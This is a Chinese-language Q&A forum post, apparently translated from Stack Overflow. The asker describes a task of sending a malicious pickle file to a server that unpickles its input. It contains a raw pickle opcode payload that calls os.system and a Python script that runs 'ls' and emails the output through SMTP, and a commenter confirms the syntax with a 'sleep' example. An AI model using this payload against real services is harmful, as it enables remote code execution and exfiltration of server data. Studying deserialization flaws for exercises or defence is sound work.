【发布时间】:2017-12-07 22:55:35
【问题描述】:
我有一个任务是向服务器发送一个 pickle 文件,该服务器取消发送给它的任何内容。我的计划是让它通过电子邮件将打印出来的 ls 命令发回给我。我有这个文件:
import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()
如何让服务器运行它?我正在尝试发送如下文件:
cos
system
(S''
tR.
与''中的python脚本。
我在想这样的事情:
cos
system
(S'python\n import smptlib\n ...'
tR.
但它不执行命令。我怎样才能让它执行python?
我在自己的电脑上试过了,python 可以正常发送邮件。
【问题讨论】:
-
你说你的任务是将一个pickle文件发送到服务器。但是您的代码与制作泡菜文件无关。如果您想在电子邮件中发送泡菜文件(二进制数据),它将是一个附件。我也没有看到任何相关内容。你能澄清一下吗? “ls”命令和它有什么关系?
-
是的,所以我需要发送一个运行命令的泡菜文件。 cos system (S'python\n import smptlib\n ...' tR。这是运行系统命令的pickle语法
-
比如cos系统(S'sleep 100' tR.会休眠100秒